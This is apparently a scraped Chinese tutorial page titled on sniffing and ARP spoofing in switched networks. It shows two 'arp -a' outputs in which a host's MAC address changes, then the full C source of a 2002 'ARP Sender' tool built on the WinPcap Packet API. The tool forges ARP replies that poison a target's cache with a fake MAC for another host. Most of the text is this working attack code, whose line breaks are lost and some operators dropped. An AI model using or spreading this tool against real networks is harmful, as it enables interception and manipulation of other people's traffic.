交换网络中的嗅探与ARP欺骗_ARP原理

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   

     ///////////////////////////////////////////////////////////                ARP Sender////           Creator:    Refdom//           Email:      refdom@263.net//           Home Page:  www.opengram.com////           2002/4/7/////////////////////////////////////////////////////////#include "stdafx.h"#include "Mac.h"//GetMacAddr()， 我写的把字符串转换为MAC地址的函数， 就不列在这里了#include #include #define EPT_IP0x0800/* type: IP*/#define EPT_ARP0x0806/* type: ARP */#define EPT_RARP0x8035/* type: RARP */#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */#defineARP_REQUEST0x0001/* ARP request */#defineARP_REPLY0x0002/* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned chareh_dst[6];/* destination ethernet addrress */unsigned chareh_src[6];/* source ethernet addresss */unsigned shorteh_type;/* ethernet pachet type*/}EHHDR, *PEHHDR;typedef struct arphdr{unsigned shortarp_hrd;/* format of hardware address */unsigned shortarp_pro;/* format of protocol address */unsigned chararp_hln;/* length of hardware address */unsigned chararp_pln;/* length of protocol address */unsigned shortarp_op;/* ARP/RARP operation */unsigned chararp_sha[6];/* sender hardware address */unsigned longarp_spa;/* sender protocol address */unsigned chararp_tha[6];/* target hardware address */unsigned longarp_tpa;/* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDRehhdr;ARPHDRarphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024];char szPacketBuf[600];char MacAddr[6];LPADAPTERlpAdapter;LPPACKETlpPacket;WCHARAdapterName[2048];WCHAR*temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != '\0')  (*(temp-1) != '\0')){if (*temp == '\0') {memcpy(AdapterList[i],temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);        //取第一个网卡（假设啦）if (!lpAdapter    (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。  （A的地址）ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){  printf("warning: Unable to send more than one packet in            a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;}